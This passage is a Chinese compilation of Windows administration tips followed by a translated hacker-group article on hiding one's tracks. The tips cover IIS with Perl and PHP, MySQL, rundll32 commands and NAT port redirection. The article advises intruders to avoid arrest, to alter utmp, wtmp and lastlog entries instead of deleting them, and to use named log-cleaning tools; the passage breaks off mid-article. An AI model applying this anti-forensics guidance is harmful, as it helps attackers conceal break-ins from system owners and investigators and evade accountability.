打开“Internet 服务管理器”，选中“默认web站点”或者其它站点，属性。在“web站点”页下，改变IP地址

，原来是全部未分配，改成您机子的ip地址，例如：202.117.131.6，这个ip不要乱写啊，要不你的web就不能

访问了。 可以写成127.0.0.1.“TCP端口”为“80”。接着，选中“主目录”页，单击“应用程序设置”下的

“配置”按钮后，在新窗口下单击“添加”按钮,在“可执行文件”中输入“C:\usr\bin\perl.exe %s %s”，

在“扩展名”中输入“.cgi”，把"脚本引擎"打上勾，点击“确定”(也可以添加其他的文件，如“.pl”等）

。然后，选中“ISAPI筛选器”页，单击“添加”按钮；在“筛选器名称”中输入“cgi”，在“可执行文件”

中输入“C:\usr\bin\PerlIS.dll”，点“确定”，这就完成了，你可以找个程序测试一下。下面来看看php的

运行环境。

3)配置php运行环境

第一步还是下载最新版本的PHP解释程序。
然后将压缩包解压到C:\PHP这个目录下.将“C:\php\dlls”目录下的所有文件复制到“c:\WinNT\System32（Wi

nodws98系统为C:\Windows\System）” 目录下，有旧的文件存在就覆盖它。可能msvcrt.dll文件不能覆盖，可

以忽略他。将C:\PHP\php.ini-dist这个文件改名为PHP.ini,复制到“C:\WinNT（Winodws98系统为C:\Windows

）”目录下，并修改里面的内容，具体如下：
找到“extension_dir = ”改为“extension_dir=c:/php/extensions”
再稍微往下看，改成这个样子(一般默认是这样的)：
;Windows Extensions
;Note that MySQL and ODBC support is now built in, so no dll is needed for
  it.
;
extension=php_bz2.dll
extension=php_ctype.dll
extension=php_cpdf.dll
extension=php_curl.dll
extension=php_cybercash.dll
extension=php_db.dll
extension=php_dba.dll
extension=php_dbase.dll
extension=php_domxml.dll
extension=php_dotnet.dll
extension=php_exif.dll
extension=php_fdf.dll
extension=php_filepro.dll
extension=php_gd.dll
extension=php_gettext.dll
;extension=php_ifx.dll
extension=php_iisfunc.dll
extension=php_imap.dll
extension=php_interbase.dll
extension=php_java.dll
extension=php_ldap.dll
extension=php_mhash.dll
;extension=php_mssql65.dll
extension=php_mssql70.dll
;extension=php_oci8.dll
extension=php_openssl.dll
;extension=php_oracle.dll
extension=php_pdf.dll
extension=php_pgsql.dll
extension=php_printer.dll
extension=php_sablot.dll
;extension=php_snmp.dll
;extension=php_sybase_ct.dll
extension=php_yaz.dll
extension=php_zlib.dll

如果哪个库在运行时不正常，就在行首加上分号“;”.

修改注册表
    在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters\Script Map
增加以下键值:
    键名: ".PHP" 键值: "C:\php\php.exe %s %s"

打开"Internet 服务管理器"，选"默认Web站点"的"属性"，在"ISAPI筛选器"配置页下，添加一个新的筛选器，

筛选器名称为PHP，可执行文件为php4isapi.dll文件的完整路径，如C:\php\sapi\php4isapi.dll；在"主目录"

配置页下，按"配置"按钮打开"应用程序配置"窗口，添加一个应用程序映射项，可执行文件为php.exe,文件的

完整路径如C:\PHP\php.exe，扩展名为.php(也可以改成别的，不过要注意您的PHP程序是要以它为后缀的)，把

"脚本引擎"打上勾。

写一个程序测试吧，如：
    <html>
    <head>
    <title>hello,world</title>
    </head>
    <body>
    <?php echo "hello, world"; ?>
    </body>
    </html>

4)MySQL数据库
先去下载MySQL数据库(ODBC)驱动程序和MySQL数据库系统程序。可以去mysql.com去找。

安装MySQL数据库(ODBC)驱动程序(Windows9x系统下必须安装)

安装MySQL数据库系统程序，一般安装在系统默认位置“C:\MySQL”，只不过这里要看你的实际情况。看是是作

为数据库的专用主机，比如要建立几百个用户并有很多资料的话建议还是先选择比较大的分区，免得以后麻烦

。

执行“c:\MySQL\Bin\winmysqladmin.exe”来启动MySQL数据库系统和管理器，第一次启动时，系统会出现“快

速设置”窗口，要求建立第一个数据库用户帐号。在User name中输入第一个MySQL数据库帐号，在Password中

输入密码，记住输入的值，然后进入MySQL数据库管理窗口，过一会儿程序自动最小化窗口到系统的托架处(任

务栏的右边有个“红绿灯”图标)，系统已经正常启动(Windows2000用户要检查一下“组件服务管理器”中“My

SQL组件服务”是否启动)。

这时，程序还在启动组里添加了一个快捷方式，下次启动计算机就自动启动MySQL数据库系统。

第一次启动数据库，系统就自动建立了名称为MySQL和test的两个数据库，你可以用以下的方法建立其它名称的

数据库：

右键单击系统托架“红绿灯”图标，单击“Show me”打开MySQL数据库管理窗口选择“Databases”标签——>

选择数据库服务器——>右键单击一下——>选择“Create database”菜单项—>在弹出的添加数据库对话框中

键入数据库名称(Database name)=>>单击“Create the datebase(创建这个数据库)”，一个新的数据库就建立

了。

帐号管理

第一次启动数据库就建立了一个数据库用户帐号，如果你的服务器要让多个用户使用的话，就必须建立多个数

据库用户帐号，步骤如下：

启动“ODBC 数据源管理器”(WindowsNT/2k系统下“ODBC 数据源管理器”在“管理工具”里，Windows9x/me系

统下“ODBC 数据源管理器”在“控制面板”里),在第一个标签“用户DSN”中单击“添加”按钮,在数据源驱动

程序列表中选择“MySQL”,单击“完成”按钮,在“数据库驱动程序配置”对话框“Windows DSN name”中填入

“网猫在线http://www.520cat.com”(意思是为网猫在线开的帐号)，在MySQL host(Name or IP)填入服务器的

主机名或者IP地址，在MySQL database name中填入数据库名称，在User中填入数据库帐号，在Password中填入

密码，其它的可以为默认设置，单击“OK”。就建立了一个新的数据库帐号。

现在可以调试一个程序试试。我就不多说了。


如何设置W2K下的默认脚本解释器？

如何设置W2K下的默认脚本解释器？
通常的脚本程序都是由wscript.exe进行解释的，所以得到的结果都显示在窗口中。如果希望将结果显示在命令行中，可以设置默认的解释器为cscript.exe。具体操作如下：

C:\> cscript //h:cscript //s ;将默认的解释器变为cscript
C:\> cscript //h:wscript //s ;将默认的解释器变为wscript


如何使非管理员用户使用AT命令？

通常情况下只有管理员才可以使用AT命令，有时也可能会希望服务器操作员也能够运行AT命令，那么就要修改注册表：

1．启动注册表编辑器；

2．找到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa；

3．在“编辑”菜单中选择“New Dword”；

4．取名"SubmitControl"，按回车；

5．双击名字后给字赋值1；

6．退出注册表编辑器，重新启动计算机。

在此过程完成后，您可以需要更新您的紧急修复盘。


如何使系统在启动时执行一些特定的命令？

有一个应用程序叫AUTOEXNT，它是压缩文件。

从AUTOEXNT.ZIP中解压出autoexnt.exe，autoexnt.bat和servmess.dll到%systemroot%/system32目录下；
同时也解压出INSTSRV.EXE到任何目录，一个临时目录也行；
在命令行下输入：instsrv install，这时会创建一个新的服务AutoExNT；
编辑%systemroot%/system32/autoexnt.bat，把用户希望的命令全放在里面，这样在机器启动时它就会执行了。


如何使用Rundll32.exe和Rundll.exe

常用Windows9x的朋友一定对Rundll32.exe和Rundll.exe这两个档案不会陌生吧，不过,由於这两个程式的功能原先只限於在微软内部使用，因而真正知道如何使用它们的朋友想必不多。那么好，如果你还不清楚的话，那么就让我来告诉你吧。
    首先，请你做个小实验（请事先保存好你正在执行的程式的结果，否则...）：点击“开始－程式－Ms－Dos方式”，进入Dos视窗，然後键入"rundll32.exe user.exe,restartwindows"，再按下回车键，这时你将看到，机器被重启了！怎么样，是不是很有趣？
    当然，Rundll的功能绝不仅仅是重启你的机器。其实，Rundll者，顾名思义，执行Dll也，它的功能就是以命令列的方式呼叫Windows的动态链结库，Rundll32.exe与Rundll.exe的区别就在於前者是呼叫32位的链结库，而後者是运用於16位的链结库，它们的命令格式是：
    RUNDLL.EXE ，，
    这里要注意三点：1.Dll档案名中不能含有空格，比如该档案位於c:\Program Files\目录，你要把这个路径改成c:\Progra～1\；2.Dll档案名与Dll入口点间的逗号不能少，否则程式将出错并且不会给出任何资讯！3.这是最重要的一点：Rundll不能用来呼叫含返回值参数的Dll，例如Win32API中的GetUserName(),GetTextFace()等。在Visual Basic中，提供了一条执行外部程式的指令Shell,格式为：
    Shell “命令列”
    如果能配合Rundll32.exe用好Shell指令，会使您的VB程式拥有用其他方法难以甚至无法实现的效果：仍以重启为例，传统的方法需要你在VB工程中先建立一个模组，然後写入WinAPI的声明，最後才能在程式中呼叫。而现在只需一句:
    Shell “rundll32.exe user.exe,restartwindows”就搞定了！是不是方便多了？
    实际上，Rundll32.exe在呼叫各种Windows控制面板和系统选项方面有著独特的优势。下面，我就将本人在因特网上收集的有关Rundll的指令列举如下（很有用的，能省去你很多呼叫Windows API的时间！！），供大家在程式设计中引用：
    命令列: rundll32.exe shell32.dll,Control_RunDLL
    功能: 显示控制面板
    命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,1
    功能: 显示“控制面板－辅助选项－键盘”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,2
    功能: 显示“控制面板－辅助选项－声音”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,3
    功能: 显示“控制面板－辅助选项－显示”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,4
    功能: 显示“控制面板－辅助选项－滑鼠”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL access.cpl,,5
    功能: 显示“控制面板－辅助选项－传统”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1
    功能: 执行“控制面板－添加新硬体”向导。
    命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL AddPrinter
    功能: 执行“控制面板－添加新印表机”向导。
    命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1
    功能: 显示 “控制面板－添加/删除程式－安装/卸载” 面板。
    命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2
    功能: 显示 “控制面板－添加/删除程式－安装Windows” 面板。
    命令列: rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3
    功能: 显示 “控制面板－添加/删除程式－启动盘” 面板。
    命令列: rundll32.exe syncui.dll,Briefcase_Create
    功能: 在桌面上建立一个新的“我的公文包”。
    命令列: rundll32.exe diskcopy.dll,DiskCopyRunDll
    功能: 显示复制软碟视窗
    命令列: rundll32.exe apwiz.cpl,NewLinkHere ％1
    功能: 显示“建立快捷方式”的对话框，所建立的快捷方式的位置由％1参数决定。
    命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0
    功能: 显示“日期与时间”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1
    功能: 显示“时区”选项视窗。
    命令列: rundll32.exe rnaui.dll,RnaDial [某个拨号连接的名称]
    功能: 显示某个拨号连接的拨号视窗。如果已经拨号连接，则显示目前的连接状态的视窗。
    命令列: rundll32.exe rnaui.dll,RnaWizard
    功能: 显示“新建拨号连接”向导的视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0
    功能: 显示“显示属性－背景”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1
    功能: 显示“显示属性－萤屏保护”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,2
    功能: 显示“显示属性－外观”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,3
    功能: 显示显示“显示属性－属性”选项视窗。
    命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL FontsFolder
    功能: 显示Windows的“字体”档案夹。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
    功能: 同样是显示Windows的“字体”档案夹。
    命令列: rundll32.exe shell32.dll,SHFORMatDrive
    功能: 显示格式化软碟对话框。
    命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0
    功能: 显示“控制面板－游戏控制器－一般”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,1
    功能: 显示“控制面板－游戏控制器－进阶”选项视窗。
    命令列: rundll32.exe mshtml.dll,PrintHTML (HTML文档)
    功能: 列印HTML文档。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mlcfg32.cpl
    功能: 显示Microsoft Exchange一般选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @0
    功能: 显示“控制面板－滑鼠” 选项 。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1
    功能: 显示 “控制面板－键盘属性－速度”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @1,,1
    功能: 显示 “控制面板－键盘属性－语言”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @2
    功能: 显示Windows“印表机”档案夹。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @3
    功能: 显示Windows“字体”档案夹。
    命令列: rundll32.exe shell32.dll,Control_RunDLL main.cpl @4
    功能: 显示“控制面板－输入法属性－输入法”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL modem.cpl,,add
    功能: 执行“添加新调制解调器”向导。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0
    功能: 显示“控制面板－多媒体属性－音频”属性页。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1
    功能: 显示“控制面板－多媒体属性－视频”属性页。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2
    功能: 显示“控制面板－多媒体属性－MIDI”属性页。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3
    功能: 显示“控制面板－多媒体属性－CD音乐”属性页。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,4
    功能: 显示“控制面板－多媒体属性－设备”属性页。
    命令列: rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl @1
    功能: 显示“控制面板－声音”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL netcpl.cpl
    功能: 显示“控制面板－网路”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL odbccp32.cpl
    功能: 显示ODBC32资料管理选项视窗。
    命令列: rundll32.exe shell32.dll,OpenAs_RunDLL {drive:\path\filename}

    功能: 显示指定档案(drive:\path\filename)的“打开方式”对话框。
    命令列: rundll32.exe shell32.dll,Control_RunDLL password.cpl
    功能: 显示“控制面板－密码”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL powercfg.cpl
    功能: 显示“控制面板－电源管理属性”选项视窗。
    命令列: rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL PrintersFolder
    功能: 显示Windows“印表机”档案夹。(同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2)
    命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,0
    功能: 显示“控制面板－区域设置属性－区域设置”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,1
    功能: 显示“控制面板－区域设置属性－数字”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,2
    功能: 显示“控制面板－区域设置属性－货币”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,3
    功能: 显示“控制面板－区域设置属性－时间”选项视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL intl.cpl,,4
    功能: 显示“控制面板－区域设置属性－日期”选项视窗。
    命令列: rundll32.exe desk.cpl,InstallScreenSaver [萤屏保护档案名]
    功能: 将指定的萤屏保护档案设置为Windows的屏保，并显示萤屏保护属性视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,0
    功能: 显示“控制面板－系统属性－传统”属性视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1
    功能: 显示“控制面板－系统属性－设备管理器”属性视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,2
    功能: 显示“控制面板－系统属性－硬体配置档案”属性视窗。
    命令列: rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,3
    功能: 显示“控制面板－系统属性－性能”属性视窗。
    命令列: rundll32.exe user.exe,restartwindows
    功能: 强行关闭所有程式并重启机器。
    命令列: rundll32.exe user.exe,exitwindows
    功能: 强行关闭所有程式并关机。
    命令列: rundll32.exe shell32.dll,Control_RunDLL telephon.cpl
    功能: 显示“拨号属性”选项视窗
    命令列: rundll32.exe shell32.dll,Control_RunDLL themes.cpl
    功能: 显示“桌面主旨”选项面板
    当然，不止是VisualBasic，象Delphi.VisualC＋＋等其


如何使用长文件名？如何利用脚本关闭计算机？如何利用脚本锁定计算机？

这两个问题都比较简单，对于长文件名的使用无非就是一个表示问题：

MyObjectXX.Run """C:\Program Files\WinZip\WinZip32.exe"""，使用双引号就行了。

而利用脚本关闭计算机则需要计算机安装了IE4+，下面即为范例代码：

set objshell = wscript.CreateObject("Shell.Application")
objshell.ShutdownWindows

如何利用脚本锁定计算机？

Set WSHShell = CreateObject("Wscript.shell")
WSHshell.run "rundll32.exe user32.dll, LockWorkStation"


如何使用网络地址转换(Nat)做到端口重定向

作者:@Fei <Giza@21cn.com>
主页:http://www.Gogiza.Net

    我相信大家都预见过这样的问题吧?就是当你在自己局域网(lan)内部架设一台Web Server的时候，别人从Internet(Wan)没法正常访问Lan的Web
Server你是不是很痛苦?或者你局域网(Lan)一台计算机没有打开80（Web Server Port)端口，但是你又想别人访问你的Web Server
Port的时候能够与你局域网(Lan)内部一台已经打开的Web Server Port的计算机自动连接?那么这时候你就需要用到端口重定向功能(网络地址转换Nat)，下面我将为大家讲解如何使用网络地址转换(Nat)做到端口重定向.

第一步：您需要确定您的计算操作系统是否是Win2000因为只有在Win2000里面才会提供路由和远程访问服务确定了你的操作系统以后你就可以进行下一步的操作了,首先你要找到控制面板里的路由和远程访问然后打开它.

第二步：请你在操作菜单上单击"配置并启用路由和远程访问".

然后在弹出的菜单上选择"手动配置服务器",安装完毕后会提示你是否启动服务,选择启动服务.

跟着打开树状菜单选择-"Ip路由选择"-"新路由选择协议"

在弹出的菜单里选择"网络地址转换(Nat)"点确定.

打开树状菜单选择-"网络地址转换(Nat)"-"新接口"

在弹出的菜单里选择"本地连接"点确定.

在弹出菜单"常规"里选择"公用接口连接到Internet"并且复选"转换Tcp/Udp头"

在"地址池"选项表里添加你需要提供端口重定向的起始地址与结束地址.

在"特殊端口"选项表里提供了你需要定向的数据连接协议.

选择好需要重定向的协议过后点"添加".然后在"在此地址池项"里填写本机Ip也就是需要重定向计算机的Ip

,在"传入端口"里填写重定向端口，在"专用地址"里填写需要定向的目标计算机,也就是打开了Web Server
Port的计算机Ip,在"传出端口"里填写目标计算机打开Web Server的端口.这样端口重定向功能也就做好了.

      在实际的应用当中当然不单单是重定向Web Server Port那么一点点功能,还可以制定许多重定向,比如Smtp,Pop,Ftp....等等.就等着你去试验了:).


如何限制对注册表的匿名访问？

对注册表的匿名访问也会造成安全上的问题，可以通过下面的方法加以限制：

打开注册表编辑器；
找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Service\LanManManager\Parameters\NullSessionPipes
在其中设置允许访问的那些用户即可。


如何隐藏你的踪迹

如何隐藏你的踪迹

第一章 理论篇

I. 概述
II. 思想认识(MENTAL)
III. 基础知识
IV. 高级技巧
V. 当你受到怀疑时...
VI. 被捕
VII. 有用的程序
VIII. 最后的话
I. 概述
----------------------------------------------------------------------

> 译者注:本文是德国著名hacker组织"The Hacker's Choice"的96年写的一篇文章但今天读来仍颇有收获,就象他自己说的:"即使是一个很有经验的hacker也能从这里学到一些东西".在翻译的过程中对原文做了一些改动,也加入了一些自己的理解,
> 不当之处,还请赐教.
warning3@hotmail.com

注意 : 本文分为两部分.
第一部分讲述了一些背景和理论知识.第二部分通过具体的实例教你一步一步了解该做什么和不该做什么.
如果你懒得看完全部文章,那就只读第二部分吧.它主要是写给那些Unix hack新手看的.

如果你把尽快得到最新的exploits当成最重要的事的话,那我要说-你错了.

> 译者注:exploits可以理解为"漏洞",不过我并不想这么翻,翻过来总感觉怪怪的,所以我还是保留了原文.文中还有一些地方也是如此处理,不再一一注明

一旦警察没收了你的计算机、你的所有帐户都被取消、你的一切活动都被监视的时候,即便是最好的exploit对你又有什么用呢?我不想听那些辩解的话.不,最重要的事应该是不要被捕!这是每个hacker都应该明白的第一件事.因为在很多情况下,特别是当你首次hack一个由于饱受入侵之苦而开始对系统安全敏感的站点时,你的第一次hack也许就将成为你最后一次hack.

所以请仔细阅读所有章节!
即使是一个很有经验的hacker也能从中学到一些东西.

下面是各节的简介:
节 I - 你现在正在读的
节 II - 思想认识
1. 动机
2. 为什么你必须要谨慎(paranoid)
3. 怎样才能谨慎
4. 保持谨慎

节 III - 在你开始hack前应当知道的基本知识
1. 前言
2. 自身安全
3. 自己的帐户
4. log文件
5. 不要留下痕迹
6. 你应当避免的事
节 IV - 你该了解的高级技巧
1. 前言
2. 阻止任何跟踪
3. 找到并处理所有的log文件
4. 检查syslog设置和log文件
5. 检查安装的安全程序
6. 检查系统管理员
7. 怎样修正checksum检查软件
8. 注意某些用户的安全陷阱(诡计?)
9. 其他
节 V - 一旦你受到怀疑你该怎么做
节 VI - 当你被捕时该做的与不该做的
节 VII - 一些用于隐藏痕迹的程序的列表
节 VIII- 最后的话,作者想说的一些废话

请仔细阅读,开动脑筋.

II. 思想认识(MENTAL)

> 译者注:这一节的目的主要是提醒你树立正确的"hack"观 ;)
----------------------------------------------------------------------

内容: 1. 动机
2. 为什么你必须要谨慎(paranoid)
3. 怎样才能谨慎
4. 保持谨慎
> 译者注:paranoid的意思是"患偏执狂的",在这里可能是当
> "小心谨慎"来讲吧.

* 1. 动机 *

不管做什么事,信念总是取得成功的一个关键.它是你的动力源泉,它激发你去奋斗,自我约束,小心谨慎而又面对现实,准确的估计风险,它也能让你去做你不喜欢做但又非常重要的事情(即使你现在就想去游泳).如果你不激励自己去编制重要工具,等候恰当的时机去攻击目标,那你永
远不能成为真正的hacker.

一个成功而又优秀的hacker必须满足这些要求.它就象健身和节食---如果你真正努力去做,你就能成功.

* 2. 为什么你必须要谨慎 *
当然,小心谨慎并不会让你的生活变得更幸福.然而如果你从不做最坏的打算,任何事情都能击倒你,让你失去平衡.你正在做的事会让你冒很大风险.而在你正常的生活中你并不需要担心警察,小偷什么的.但如果你从另一方面考虑,你要知道你正在给别人的生活带来麻烦和恶梦--他们很
想阻止你.尽管你不认为这是犯罪.但当警察迅速逮捕每个可能被牵扯的人时,你会发现一件很悲惨的事:你是有罪的除非你能证明你无罪!一旦你得到了一个hacker的"污名",你就永远不能将其去除.一旦你有了犯罪纪录,你将很难找到一份工作.特别是没有软件公司甚至没有与计算机有关的公司会聘用你,他们会害怕你的技术.你也许不得不移民...一旦跌倒了,能再爬起来的只是少数人.

要小心谨慎!要保护好你自己!记住你得到的一切都可能失去!绝不为做额外的反跟踪工作而感到愚蠢!绝不为如果别人嘲笑你太谨慎而烦心!决不要因为太懒或者厌倦而放弃修改log文件!一名hacker必须%100的完成他的"工作"!

* 3. 怎样才能小心谨慎 *

如果你读了上面的话并且你认为那是对的,那就容易了---你已经变得小心谨慎了但这必须要变成你生活中的一部分才行,当你总是考虑究竟是谁告诉你了那些事,考虑你的电话和email可能已被监视的时候,那它已经变成你生活的一部分了.

如果上面这些还不能帮你,那么考虑一下如果你被捕会发生什么.你的女友还会站在你这边吗?你想看到你父母为你流泪吗?你想丢掉饭碗或学业吗?

不要给这一切以发生的机会!

如果这还不能警醒你:离HACKING远点儿!!!对整个hacker社会和你的朋友来说,你都是个危险人物!

* 4. 保持谨慎 *
我希望现在你明白为什么小心谨慎的重要性了.
所以保持谨慎.一个错误或者一次偷懒都可能彻底毁掉你的生活和事业.在做一件事时应时刻记着你的动机是什么.

> 译者注:这部分是让你知道你正在干什么及你的处境.如果你不想让你成为无聊记者津津乐道的话题---"某地破获重大黑客案...",那就多看看,多想想.要知道,自己是这种新闻的主角和看别人的新闻可完全不是一个感觉.所以要:谦虚谨慎,戒骄戒躁 :-)

III. 基础知识
----------------------------------------------------------------------
内容 :
1. 前言
2. 自身安全
3. 自己的帐户
4. log文件
5. 不要留下痕迹
6. 你应当避免的事

* 1. 前言 *

在你开始你的初次hack之前,你应当知道这些并且进行些练习.这些都是非常基本的,不知道这些你很快就会有麻烦了.即便是一名很有经验的hacker也能从中得到一些新的提示.

* 2. 自身安全 *

系统管理员读了你的email吗?你的电话被警察监听了吗?警察没收了你存有所有hacking数据的计算机吗?

如果你不接收可疑的email,不在电话里谈论hacking/phreaking的话题,在你的硬盘上也没有敏感和私人数据的话,那你不必担心上面那些情景.但那样你就并不是一个hacker.每个hacker和phreaker都与其他人保持联系并把他的数据保存在某个地方.

加密所有敏感数据!!!
在线硬盘加密程序是非常重要和有用的:
在internet上游很多好的免费硬盘加密程序,它们对你的操作系统来说是完全透明的.下面所列的几个软件都是经过测试的,是hacker's的首选工具:
- 如果你用MsDos,你可以使用SFS v1.17或者SecureDrive 1.4b
- 如果你用Amiga,你可以使用EnigmaII v1.5
- 如果你用Unix,你可以使用CFS v1.33

> 译者注:在win9x下可以考虑emf,iprotect...

文件加密软件: 你可以使用任何一种加密软件,但它应该是使用一种众所周知的安全加密机制.绝对不要用那些被出口的加密程序,它们的有效密钥长度被缩短了!
- Triple DES
- IDEA
- Blowfish (32 rounds)
加密你的Email!
- PGP v2.6.x 是个不错的工具.
如果你想讨论重要的事情的话,加密你的电话.
- Nautilus v1.5a 是迄今最好的
当你连到一个unix系统时加密你的终端.
一些人可能正在sniffing或者监视你的电话线:
- SSH 是最安全的
- DES-Login 也不错

> 译者注:- SSL 基于SSL的一些软件也可以一试

用强壮的不可猜测的,不在任何字典中的密码.它应当看起来象随机的但又容易记忆.如果密码长度可以比10个字符更长,那就用更长的.可以从书中抽取一句话,并略作修改.请将你的hacker朋友的电话号码加密两遍.如果你不加密,你应当从公用电话给他打电话.

> 译者注:其实有个好记又难猜的密码并不难,例如考虑句子"I'm a haxor!"可以从中抽> 取几个单词组成I'mhaxor,好象没有数字,呵呵,用"eleet"的hacker语言,haxor=h4x0r所以我们的口令可以是:I'mh4x0r(我是hacker).这样的密码恐怕只能用暴力破解了.

如果你对hacking有了深入了解,你应当加密所有的东西!

为你的数据做个备份,当然要先加密,把它放在一个隐秘的地方,最好不要在家里.所以即使你因为失误,火灾或警察搜捕等原因丢失了数据,你还可以得到备份数据.

只有当你真的需要它们时才写出来,否则将它们放在一个机密文件或加密分区里更安全.一旦你不需要它们了,烧掉那些纸.你也可以用只有你自己知道的加密机制将它们写下来,但不要告诉任何人,也别太经常的使用它.也许它很容易被分析和破解。真正沉稳和谨慎的hackers应该考虑实施干扰方案.警察,间谍,其他hacker能监视你的举动.一个拥有先进设备的人可以获得他想要的任何东西:
计算机发射的电子脉冲可以从100米以外的距离被截获,可以显示你的监视器屏幕,监听你的私人谈话,确认键盘敲击时的高频信号等等...所以各种可能性总是存在的.成本低廉的应付方法就是采用电子脉冲干扰发射机,商店里就有卖的.如果你不想让任何人监视你,我认为这些还不够...

> 译者注:不知道我们的商店里有没有卖的.;-)

* 3. 你自己的帐户 *
下面让我们谈谈你自己的帐户.它就是你在学校/公司/ISP那里得到的帐户,它总是与你的真实姓名联系在一起,所以在使用它时绝对不要违背下面的原则:

永远不要用你的真实帐户做任何非法或者惹人怀疑的事!永远不要试图从你的真实帐户telnet到任何被hacked主机去!当然可以用这个帐号订阅安全mailing lists.但任何与hacking有关的东西都必须加密或者立刻销毁.决不要在你帐号下保存hacking或security工具.尽量用POP3连到你的mailserver下载或者删除你的邮件(如果你对unix比较熟悉,还可以直接telnet到POP3端口执行下载或者删除命令).决不要泄漏你的真实email给你不信任的人,只把它给你信任的人,他们也
应当是比较注意安全问题的人,否则如果他们被捕,下一个就是你了(或许他们根本就是警察,而不是hacker.).与其他的hacker用email交流时必须要用PGP加密,因为系统管理员经常偷看用户目录,甚至读区别人的email!!其他的hacker也可能hack你们的站点并试图得到你的数据.

绝不要用你的帐号表明你对hacking感兴趣!对安全感兴趣可以,但不要再进一步了.

> 译者注:与别人交流时可以申请免费信箱,最好是国外的,比如hotmail之类,登陆时注意最好
通过proxy.自己的真实信箱应当只用来进行一般的正常通信,与朋友/老师/同事...

* 4. LOG文件 *

有三个重要的log文件:
WTMP - 记录每次登录的信息,包括登陆/退出的时间,终端,登录主机ip
UTMP - 在线用户记录
LASTLOG - 记录用户上次是从哪里登录的
当然还有其他的log,它们将在"高级技巧"一节种讨论.每次通过telnet,ftp,rlogin,rsh
的登录都会被记录到这些文件中.如果你正在hacking,把自己从这些记录中删除就是很重要的了.否则他们会:
a) 准确的发现你什么时候在搞hacking活动
b) 发现你从那个站点过来
c) 知道你在线的时间有多长,以便计算你给他们造成的损失

绝对不要删除这些log文件!!!那等于通知管理员:"嗨,你的机器上有个hacker!".找一个好程序来修改这些log.ZAP(或ZAP2)经常被认为是最好的但事实上它并不是.它只是简单的用0来填充用户上次登陆的数据段.CERT已经发布了一个简单的程序用来检查这些全零数据项.所以这样也会很容易就让人知道现在有个hacker在活动,这样你所有的工作就没有意义了.ZAP的另外一个缺陷是当它找不到那些log文件时,它并不报告.所以在编译之前必须先检查一下路径!你应该使用能改变记录内容的程序(象cloark2.c)或者能真正删掉记录的程序(象clear)

> 译者注: THC提供的cleara.c ,clearb.c是非常好用的清除工具.可以清除utmp/utmpx,wtmp/wtmpx,修复lastlog让其仍然显示该用户的上次登录信息(而不是你登录的信息).如果你发现你登录后没有显示上次登录信息,那很可能你的机器，可能已经被人hack了,当然,即使显示正确的信息也未必就没有被hack.;-)

一般来说要修改log你必须是root(有些老版本系统例外,它们将utmp/wtmp设成允许所有人可写)但如果你不能得到root权限---你该怎么做呢?你应该rlogin到你现在所处的主机,以便在lastlog种增加一个不是那么惹人怀疑的数据项,它将在该用户下次登录时被显示,如果他看到"上次从localhost登录"的信息时也许不会怀疑.

> 译者注:这也是没有办法的办法,换了我,我就会怀疑.;)

很多unix系统的login命令有一个bug.当你登录以后再执行一遍login命令时,它将用你当前的终端重写UTMP中的login from段(它显示你是从哪里来的!)那么这些log文件缺省在什么地方呢?
这依赖于不同的Unix版本.
